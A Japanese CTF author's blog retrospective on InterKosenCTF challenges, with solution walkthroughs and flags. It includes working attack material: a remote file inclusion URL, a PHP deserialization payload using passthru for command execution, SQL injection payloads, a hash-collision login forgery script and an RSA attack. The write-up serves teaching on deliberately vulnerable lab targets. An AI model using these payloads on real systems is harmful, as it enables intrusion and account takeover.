ふるつき

v(*'='*)v かに

InterKosenCTF writeup

公式writeupというほど大仰なものではないです。どちらかといえば作問振り返りで、自分語りに該当するやつなので、ちゃんとしたwriteupは参加者の皆さんのものを探してください。見つけ次第このエントリでもリンクを貼りたいとは思っています。

あとここにwriteup書いてないのはチームメイトが他に書くはず。

あわせてよみたい

furutsuki.hatenablog.com

bitbucket.org

[Cheat 150pts]spaceshipのwriteup

thrust2799.hatenablog.jp

僕の記事なんてどうでも良いのでこれを読んで!

ptr-yudai.hatenablog.com

[Web 100pts] Gimme Chocolate -- 21 solves

webは全問題ソースコードを公開して出題しました。これはptr-yudaiがそうしたいと言っていましたが僕も大いに賛成でした。そのほうが面白い気がする。

Gimme Chocolateですが、これはbrainf*ckを書いて保存 + 実行ができるページをPHPで実装しています。実装量を減らすためにwikipediaに書いてある仕様とは少し異なっていて[はwhileではなくdo while相当です(ハマりポイント★)。あと標準入力を備えていないので,はありません。

この問題でやることは100バイト以下でGive Me a Chocolate!!と出力するbrainf*ckコードを実行することですが、まあまず無理です(当初はもう少し短い文字列&128バイトまで可にしてたらptr-yudaiが実現してきたので制限を厳しくしました)。

ソースコードをぐっと睨むか、適当なソースコードを実行してもらうとわかりますが、このページでは実行するファイルの名前をfileというGETパラメータで与えていて、そのファイルをfile_get_contentsで読み込んで実行しています。fileの値を好きにできるので、任意のファイルを読み込ませて実行することができる、Local File Inclusion脆弱性を使うことが思いつきますが、読み込んだファイルはbrainf*ckのソースコードとして解釈されてしまうので中身を知ることはできず、ましてやGive Me a Chocolate!!を出力するのは無理そうです。そこでRemote File Inclusion脆弱性です。file_get_contentsように何かしらのパスを読むPHPの関数はhttp://www.example.comのようなパスも引数にとることができて、このようなURLでも中身をきちんと読みに行ってくれます。brainf*ckのソースコードが100byteに制限されるのはfwrite($fp, $_POST['code'], 100)という保存部分のせいなので、読み込むファイルが100byte以上でも問題なく動作します。

ということで、pastebin.comのようなサイトにGive Me a Chocolate!!を出力するbrainf*ckソースコードをおいておいて(これにはhttp://mikecat.usamimi.info/jstool/bfgen/ のようなサイトを使いました。ハマりポイント★に書いたように[がwhileでないので思ったように動作しないジェネレータもあり注意が必要です)、そのURLを読み込ませれば勝ちです。

http://web.kosenctf.com:8100/?execute&file=https://pastebin.com/raw/p7pgQ7Aq にアクセスするとフラグが手に入ります。フラグはBABYMETALのギミチョコ!! の歌詞から。最初奥田民生のギブミークッキーとどちらにするか悩んで長い方にしました。

KOSENCTF{CIO_CHOCOLATEx2_CHOx3_IIYONE}

[Web 200pts] Secure Session -- 7 solves

ptr-yudaiの作問。独自のセッション管理を提供するページのようです。ソースコードが渡されているので眺めると、次のように脆弱っぽい場所が見つかります。POSTパラメータをそのままunserialize関数に突っ込んでいてdeserialization of untrusted dataというやつです。

if (isset($_POST['save'])) {
    // You can skip the bothering setup
    // by loading the saved handler.
    $handler = unserialize(base64_decode($_POST['save']));
} else {
    // Or, you can also setup the handler manually.
    $SECRET_KEY = 'sample-password'; // Keep it secret!
    $crypto = new SecureCrypto();
    $handler = new SecureSession($SECRET_KEY);
    $handler->set_crypto('encrypt', array($crypto, 'encrypt'));
    $handler->set_crypto('decrypt', array($crypto, 'decrypt'));
}
session_set_save_handler($handler, true);

この $handlersession_set_save_handler($handler, true); のようにセッションハンドラとして使われています。PHPのカスタムセッションハンドラのページを見るとセッションハンドラとして登録されたインスタンスはopenやreadやwriteといったメソッドが呼ばれるようです。

$handlerのクラスであるSecureSessionではwriteはこのようにcryptoというメンバ変数のencryptを関数として呼び出しており、上のelse節では関数を登録している様子がわかります。

    public function write($id, $data)
    {
    $data = $this->crypto['encrypt']($this->key, $data);
    
    return parent::write($id, $data);
    }

ここから、「encryptに不正な関数を登録したcryptoを持つSecureSessionインスタンスPHP Object Injectionすればよいのではないか」という方針が立ちます。例えば、$this->crypto['encrypt']passthruだったら、passthru($this->key, $data)という呼び出しをすることになり、当然$keyも書き換えられるので、任意のOSコマンドを実行できます。

このようなPHP Objectを作るコードを書きます(説明ではencryptを書き換えていましたがソースコードではdecryptを書き換えています。どちらでも良いです)。問題からソースコードを流用してきました。

<?php

require_once "modules/crypto.php";
require_once "modules/session.php";

$SECRET_KEY = $argv[1];
$crypto = new SecureCrypto();
$handler = new SecureSession($SECRET_KEY);
$handler->set_crypto('encrypt', array($crypto, 'encrypt'));
$handler->set_crypto('decrypt', "passthru");

echo base64_encode(serialize($handler)) .PHP_EOL;

これで php hoge.php ls とすると、セッションをreadかwriteするタイミングでpassthru("ls", $data);が呼ばれるようなPHP Objectをシリアライズしてbase64encodeしたものがでてきます。これをPOSTのsaveパラメータとして渡すと、hOI_the_flag_is_here index.php modules ssm.tar.gzのような結果が帰ってきます。よくわかりませんがhOI_the_flag_is_hereはフラグの入ったファイルっぽいので、php hoge.php "cat hOI_the_flag_is_here"とした結果もおくってみます。

フラグは KOSENCTF{Th3_p01nt_1s_N0t_h0w_s3cur3_1t_1s_But_h0w_t0_us3_1t} です。何書いてあるかよくわからない。

Web[250pts] Login -- 15 Solves

LoginとRegisterができるサイトで、adminという名前でログインできればフラグが手に入りますが、adminという名前のユーザはすでに登録されています。Registerはちゃんとしているのに、Loginには自明にSQL Injectionの脆弱性があります。ただし、$usernameadminでないとadminとしてはログインできず、また、$passwordと、SQLの結果のパスワードのmd5が一致している必要があります。ソースコード中でusleepしているのはtime based sql injectionの対策です。

        $username = $_POST['name'];
        $password = $_POST['password'];

        usleep(random_int(0, 5000000));
        try {
                $rows = $pdo->query("select username, password from users where username='$username' and password='$password'", PDO::FETCH_ASSOC)->fetchAll();
                if (count($rows) == 1 && md5($rows[0]['password']) === md5($password)) {
                        $_SESSION['login'] = $username;
                }
        } catch (Exception $e) {
                //
        }

単純なクエリではadminとしてはログインできなさそうですがRegisterができるので、適当なユーザ(ここではjoseph)として、次のようなパスワードでRegisterしてみます。このパスワードをadminとしてのログイン時に入力すると、josepthのパスワードを引っ張ってきたものをパスワードとしてすげ替えることができるので(つまりこのパスワード)、パスワードのmd5が一致し、adminとしてログインできます。

' UNION SELECT '', a.password FROM users AS a WHERE username='joseph';-- 

以下フラグ。そうですね。

KOSENCTF{I_DONT_HAVE_ANY_APTITUDE_FOR_MAKING_A_WEB_CHALLENGE_SORRY}

[Web 50pts] Login Reloaded --- 3 Solves

はい。申し訳ありません。この問題に関する問題はもう書いたので、writeupを書きます。もともとこれを問題として出そうとしていたんですが、気まぐれでつけたRegister機能を使った解法をptr-yudaiが見つけたので、Loginを出題し、あんまりすぐ解かれたものだからやっぱりこちらもと思ってだしました。

Login ReloadedはLoginのページからRegister機能が失われたもので、adminとしてログインするにはいよいよ$passwordSQL Injectionの結果が一致する他ありません。

ということでこういうクエリになります。このパスワードはQuineになっていてSQLの実行結果が入力と同じになります。

'union select'admin',printf(s,s)from(select'''union select''admin'',printf(s,s)from(select%Qas s)-- 'as s)-- 

[Reversing 100pts] flag generator --- 25 Solves

ごめんなさい2号。writeupしていきます。渡されるのは64bit ELFで、実行してみても沈黙のまま終了する気配もありません。IDAでみてみたり、straceにかけたりしてみると、sleepしていることがわかります。

IDAでみてみて、えいっとデコンパイルするとこういうコードになっていることがわかります(これは元コードですが……)。

int s;
int r() {
  s = ((s * 1103515245U) + 12345U) & 0x7fffffff;
  return s;
}

int main() {
  int xs[] = {0x608f5935, 0x57506491, 0x27365557, 0x54e3dea1, 0x755a4ed5, 0x17f42eb7, 0x4a4f9059, 0x1a08e827, 0x0d9d391f, 0x59e533aa};
  int first = 0x25dc167e;

  int xlen = 10;
  int cnt = 0;
  int flag = 0;
  int v = 0;
  while (1) {
    if (!flag) {
      s = time(NULL);
    }

    v = r();
    if (v == first) {
      flag = 1;
    }
    if (flag) {
      v ^= xs[cnt];
      printf("%s", (char*)&v);
      cnt++;
      if (cnt == xlen) {
        break;
      }
    }

    sleep(1);
  }

  return 0;
}

雑な解析をすると、rはrandom関数で、sというグローバル変数の値に依存して乱数を生成しています(これ昔のlibcのrandの実装)。そして、sをtime(NULl)の結果にして、r() の結果が0x25dc167eになるまではひたすらsleep(1)しているようです。その後はどうやらxorでフラグを出力している様子。

ということで、r()の結果が0x25dc167eになったところからをエミュレートしてみます(rは返した値を次のシードにしてるのでこういうことができる)。

from oldknife import *
import sys

s = 0
def r():
    global s
    s = ((s * 0x41C64E6D) + 0x3039) & 0x7fffffff
    return s

s = 0x25DC167E
xs = [0x608F5935, 0x57506491, 0x27365557, 0x54E3DEA1, 0x755A4ED5, 0x17F42EB7, 0x4A4F9059, 0x1A08E827, 0x0D9D391F, 0x59E533AA]

for i, x in enumerate(xs):
    sys.stdout.write(i2h(s ^ x).decode("hex")[::-1])
    r()

sys.stdout.write("\n")

実行するとKOSENCTF{IS_THIS_REALLY_A_REVERSING?}が得られます。ほんとだよ。

これをLD_PRELOADなどでやった場合、printf("%s", (char*)&v);のところで\bのようなゴミが入って出力中の?が消されてしまっていたようです。ごめんなさい……。

[Reversing 200pts] flag checker -- 8 Solves

64bit ELFです。真面目にreversingをするcrack me問題。check関数とh関数があり、それぞれこんな感じです。デコンパイルは真面目にやるとできるはず……。

void h(char *s, char **r) {
  int l = strlen(s);
  int p = 4 - (l % 4);
  char *buf = malloc(sizeof(char) * (l + p));
  *r = malloc(sizeof(char) * (l + p));

  strncpy(buf, s, l);
  for (int i = l; i < l+p; i++) {
    buf[i] = p;
  }

  unsigned int k = 0xDEC0C0DE;

  unsigned  int hash = 0;
  for (int j = (l+p)/4 - 1; j >= 0; j--) {
    hash ^= ((unsigned int*)buf)[j] ^ k;
    k = (k << 8) | (k >> 24);
    ((unsigned int*)(*r))[j] = hash;
  }

  free(buf);
}


int check(char *s) {
  char *buf;
  char *x = "\x9f\xc9\xd7\xc2\x0a\x46\x44\x59\x84\xc5\xce\xc1\x3f\x4f\x5f\x4e\xbe\xd4\xde\xdd\x39\x4b\x4a\x4c\xa6\xcf\xd1\xd1\x29\x55\x4a\x4e\xa3\xc3\xc3\xdd";
  h(s, &buf);

  int r = 1;
  for (int i = 0; i < strlen(buf); i++) {
    if (buf[i] != x[i]) {
      r = 0;
      break;
    } 
  }

  free(buf);
  return r;
}

checkは入力をhにかけて、その結果をxと比較しています。hはハッシュっぽい関数で入力に4バイトのパディングをつけたあと、後ろから4バイトずつ、kという値とのxorをとっています。kは初期値がDEC0C0DEで、毎回bitずつ巡回シフトをしています。

kの値がわかればxorをするだけなので簡単です。

import struct

k = 0xDEC0C0DE
x = "\x9f\xc9\xd7\xc2\x0a\x46\x44\x59\x84\xc5\xce\xc1\x3f\x4f\x5f\x4e\xbe\xd4\xde\xdd\x39\x4b\x4a\x4c\xa6\xcf\xd1\xd1\x29\x55\x4a\x4e\xa3\xc3\xc3\xdd"

h = 0
ms = []
for i in range(len(x) / 4 - 1, -1, -1):
    y = struct.unpack("<I", x[i*4:(i+1)*4])[0]
    m = k ^ y ^ h
    ms.append(struct.pack("<I", m))
    h = m ^ k ^ h
    k = ((k << 8) | (k >> 24)) & 0xFFFFFFFF;
print("".join(reversed(ms)))

KOSENCTF{TOO_EASY_TO_DECODE_THIS} 。これ100点のつもりで作ったら200点になった。

[Reversing 300pts] Rolling Triangle --- 1 Solve

ちょっと書くのが面倒なので、 ptr-yudaiが問題チェックの際に書いたやつをコピってぺっします。

=== ここから ===

引数に与えた文字列がフラグかをチェックしてくれる。

概要

まずは与えられたバイナリをidaで解析する。小数を含む演算が多様されるが、案外読みやすかった。全体をCに戻すとこんな感じ。

#include <stdio.h>
#include <math.h>

double values[0x25];

void initialize(char* input, double* list)
{
    double x;
    int i, j;
    for(i = 0; i < 0x25; i++) {
        list[i] = 0.0;
        for(j = 0; j < 0x25; j++) {
            x = 2 * M_PI * i * j / 37.0;
            list[i] += input[j]*cos(x) - input[j]*sin(x);
        }
    }
}

int check(double a, double b)
{
    if (fabs(a - b) <= 0.001) {
        return 1;
    }
    return 0;
}

int main(int argc, char** argv)
{
    int cnt;
    double list[0x25];

    if (argc == 1) {
        printf("Usage: %s flag\n", argv[0]);
        return 0;
    }
    
    if (strlen(argv[1]) != 0x25) {
        puts("Wrong...");
        return 0;
    }
    
    initialize(argv[1], list);
    for(cnt = 0; cnt < 0x25; cnt++) {
        if (!check(list[i], values[i])) {
            puts("Wrong...");
            return 0;
        }
    }
    
    puts("Correct!");
    return 0;
}

ここでvaluesには小数値が入っているが、これをIDAから取り出す。次のようなIDCで取り出せる。

auto addr = 0x0404080;
auto size = 37;
auto f = fopen("/tmp/values.dmp", "wb");
savefile(f, 0, addr, size);
fclose(f);

計算

作問者がフーリエ云々と言っていたのは知っていたが、これを見てフーリエとは気付かないと思うので普通ならどうするかを考えて解いた。 フラグのn文字目をf_nとしてlistがどうなっているかを考える。listをl、valuesをvと表記すると、

$$ f_1 + f_2 + \cdots + f_{37} = v_1 $$

$$ f_1 + f_2 \left(\cos{\cfrac{2\pi \times 1}{37}} - \sin{\cfrac{2\pi \times 1}{37}}\right) + \cdots + f_{37} \left(\cos{\cfrac{2\pi \times 37}{37} - \sin{\cfrac{2\pi \times 37}{37}}}\right) = v_2 $$

$$ \cdots $$

といった具合で37元1次連立方程式が立てられる。したがって、これを解いてやればフラグ$f_n$が求まる。 numpyを使って解いた。

import struct
from numpy import *
from numpy.linalg import *
from math import cos, sin

c1 = struct.unpack('>d', "\x40\x19\x21\xFB\x54\x44\x2D\x18")[0]
c2 = struct.unpack('>d', "\x40\x42\x80\x00\x00\x00\x00\x00")[0]
c3 = struct.unpack('>d', "\x3F\x50\x62\x4D\xD2\xF1\xA9\xFC")[0]
values = open("values.dmp", "rb").read()

flag = ""

clist = []
for i in xrange(37):
    c = []
    for j in xrange(37):
        x = c1 * i * j / c2
        c.append(cos(x) - sin(x))
    clist.append(list(c))

alist = []
for i in range(37):
    alist.append(struct.unpack('<d', values[i*8:(i+1)*8])[0])

a = array(clist)
b = array(alist)
x = solve(a, b)
flag = ""
for c in x:
    flag += chr(int(c + c3))

print(flag)

数学がいい感じに使える良問だと思う。卒論お手伝いしてたので飛び飛びになったが、解くのには1時間前後かかった。

===ここまで===

問題としては、フーリエ変換したフラグを内部で持っていて、入力もフーリエ変換しているので内部の値をフーリエ逆変換したらフラグが戻せる感じでした。高専っぽくない?

問題名は三角関数→ローリング△さんかく→Rolling Triangleです。フラグも同じく周防桃子ちゃんから。かわいいよね。僕は周防桃子ちゃんと真壁瑞希ちゃんが好きです。

[Crypto 100pts] strengthened --- 30 solves

簡単なRSAで、$me < n$にならないようにシフトが入ってます。ただ、こういうことをしてるとcとmeの値が近くなるので$c*x = me$となるxが求められそうです。たくさんシフトをして末尾のbit列が0になっているようなmが求まるまでxを探索するだけで解けます。

from Crypto.PublicKey import RSA
from flag import flag

assert(flag.startswith("KOSENCTF"))

m = int(flag.encode("hex"), 16)
key = RSA.generate(2048, e=3)

while pow(m, key.e) < key.n:
    m = m << 1

c = pow(m, key.e, key.n)
print("c={}".format(c))
print("e={}".format(key.e))
print("n={}".format(key.n))
from Crypto.Util import number
from Crypto.PublicKey import RSA
import gmpy
import sys

def root_e(c, e):
    m = gmpy.root(c, e)[0]
    return long(m)

def ashexstr(h):
    s = "{:0x}".format(h)
    if len(s) % 2 == 1:
        s = "0" + s
    return s.decode("hex")

x, y, z = open(sys.argv[1]).read().split()
c = int(x.split("=")[1])
e = 3
n = int(z.split("=")[1])

# print(ashexstr(root_e(c, e)))

c2 = c
for i in range(10):
    c2 += n
    s = bin(root_e(c2, e))
    if s.endswith("00000000000"):
        print(ashexstr(int(s.rstrip("0")[2:], 2)))
        break

KOSENCTF{THIS_ATTACK_DOESNT_WORK_WELL_PRACTICALLY}

[Crypto 150pts]Oh my Hash --- 3 solves

これちゃんとhashの差分みてフラグとった人がいるんですね……。なんか適当な作問してて申し訳なくなってきた。

adminとしてログインする問題で、Login + remember me と Registerがあります。

ソースコードをみるとadminのremember tokenをこんな感じで作っていて

g['tokens'] = {
    myhash((SALT + "admin").encode()).decode(): "admin"
}

ログイン時にremember_tokenが付与されます。

            if request.form.get('remember'):
                token = myhash((SALT + name).encode()).decode()
                if token not in g['tokens'].keys():
                    g['tokens'][token] = name
                resp.set_cookie('remember_token', value=token, max_age=60*60*24)

remember_tokenが与えられたときのログイン処理

    token = request.cookies.get('remember_token')
    if token and token in g['tokens']:
        session['user'] = g['tokens'][token]
        resp = make_response(render_template('user.html', user=session['user'], flag=FLAG))
        resp.set_cookie('remember_token', value='', expires=0)
        return resp

肝心のhash関数はこうです。

def myhash(message):
    xs = myhash_impl(message)
    return binascii.hexlify(functools.reduce(lambda x, y: x + y, [x.to_bytes(4, 'big') for x in xs]))

def myhash_impl(message, iv=(0xDEADBEEF, 0xCAFEBABE, 0x00C0FFEE, 0x5017B047)):
    # add padding
    l = (64 - len(message)) % 64
    message += l.to_bytes(1, 'big') * l

    A, B, C, D = iv

    f = lambda x, y: (((x<<1)^(y>>5)) ^ ((x>>16)|(y<<16))) & 0xFFFFFFFF
    g = lambda x, y: ((x<<4) | ((y << 1) ^ (y >> 10))) & 0xFFFFFFFF
    h = lambda x, y: (x|y) ^ (x&y)

    for i in range(0, len(message), 16):
        a = int.from_bytes(message[i:i+4], 'big')
        b = int.from_bytes(message[i+4:i+8], 'big')
        c = int.from_bytes(message[i+8:i+12], 'big')
        d = int.from_bytes(message[i+12:i+16], 'big')

        A = f(g(B, a), h(C, d))
        B = f(g(C, b), h(D, a))
        C = f(g(D, c), h(A, b))
        D = f(g(A, d), h(B, c))

    return [A, B, C, D]

こんなの絶対読みたくないですよね、と思って見ると、 #add paddingのところだけなんかコメントついてるし怪しいですね。実は実装が微妙に間違っていて、本来 l = 64 - (len(message) % 64) とするところを間違えてしまっています。これだと、x...x (xが63個)の入力とx...x\x01 の入力が等しくなってしまい、当然ハッシュも等しくなってしまいます。

それではadminのremember_tokenではどうかと思って振り返ると myhash((SALT + "admin").encode()).decode() というふうに謎の SALTが与えられています。ですが、SALTはどのユーザにも共通なので、SALTの長さを探索して、admin\x01, admin\x02\x02, ……としていけば60回も施行せずにadminと同じremember_tokenをもったユーザを作ることができます。

import sys
import requests

def pad(message):
    l = (64 - len(message)) % 64
    message += l.to_bytes(1, 'big') * l
    return message

def work(message, l):
    # calculate padding character
    pc = pad(('x'*l + message).encode()).decode()[-1]
    l2 = (64 - (len(message) + l)) % 64
    return message + pc * l2


BASE = "admin"
URL = "http://others.kosenctf.com:10200/"
for s in range(64):
    name = work(BASE, s)
    r = requests.post(URL + "register", data={"name": name, "password": "hoge"})
    r = requests.post(URL + "login", data={"name": name, "password": "hoge", "remember": "on"}, allow_redirects=False)


    c = {
            "remember_token": r.cookies.get_dict()['remember_token']
    }

    r = requests.get(URL, cookies=c)
    if "Save" in r.text:
        print(r.text)
        print(repr(name))
        break

KOSENCTF{PADDING_MAKES_THIS_MORE_VULNERABLE} なるほど。ちなみに問題名はoh my zshからつけたけどフラグを考えるときにはそのことを忘れていました。

[Crypto 300pts] slot machine --- 2 solves

最初は僕がRSAの準同型性で作ってたんですがtoo easyだったので師匠が改善してくれました。wrietup書き直すの面倒なんでinsecure内部のwriteupを晒しときます。

hackmd.io

[Forensics 50pts] attack log --- 66 solves

$ grep 200 -B 5 -a attack_log.pcapng 
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.13.0
Authorization: Basic a29zZW46YlJ1dDNGMHJjM1cwcmszRA==

 \�}"���<<D�[^G80�E(4�@@����
                            ��Ph�a�C��'P��\0�}����D�[^G80�E4�@@����
                                                                   ��Ph�a�C��'P�zHTTP/1.1 200 OK
echo a29zZW46YlJ1dDNGMHJjM1cwcmszRA== | base64 -d
kosen:bRut3F0rc3W0rk3D

ということで KOSENCTF{bRut3F0rc3W0rk3D}

この問題でKOSENCTF{<the password for the basic auth>}っておくってくるチームが多かったんですがこれはなんですか?

[Forensics 200pts] conversation --- 27 solves

foremostで頑張るとjpegが出てくるらしいですね。焦る。writeup書くの飽きてきたのでこれも出来合いのものを

hackmd.io

[Forensics 300pts] matroska --- 1 solve

思った以上に解かれなかった。ファイルサイズにびびったのかvolatilityが古かったのか、単に解けなかったのかどれなんでしょう?

writeupはこれもinsecure内部のを。

hackmd.io

参考になるwriteup群

yoshikingが頑張ってサーチしてくれましたが、抜けてたり新しく書いたりしたらこっそり教えてください。

高専1位おめでとうございます proelbtn.hateblo.jp

Web問つくるときにwriteupめっちゃ参考にしました。良問の評価を頂いて嬉しいです graneed.hatenablog.com

angrでflag checker解いてるwriteupがあります。あとこの難易度をちょうどよいと言ってくれる高専生がいて嬉しい scrapbox.io

conversationのかしこい方のwriteupです dawning.hatenablog.com

ゴルフお疲れ様です…… szarny.hatenablog.com

strengthenedの想定解法を丁寧に書いてくれてて良さ kent056-n.hatenablog.com

strengthenedのwriteupのはずなのに読んでもわかんなかった https://ykm11.hatenablog.com/entry/2019/01/20/210500ykm11.hatenablog.com

解けてよかったです! yukium.hatenablog.jp

074m4K053nつよい

nonsenseofname.hatenadiary.com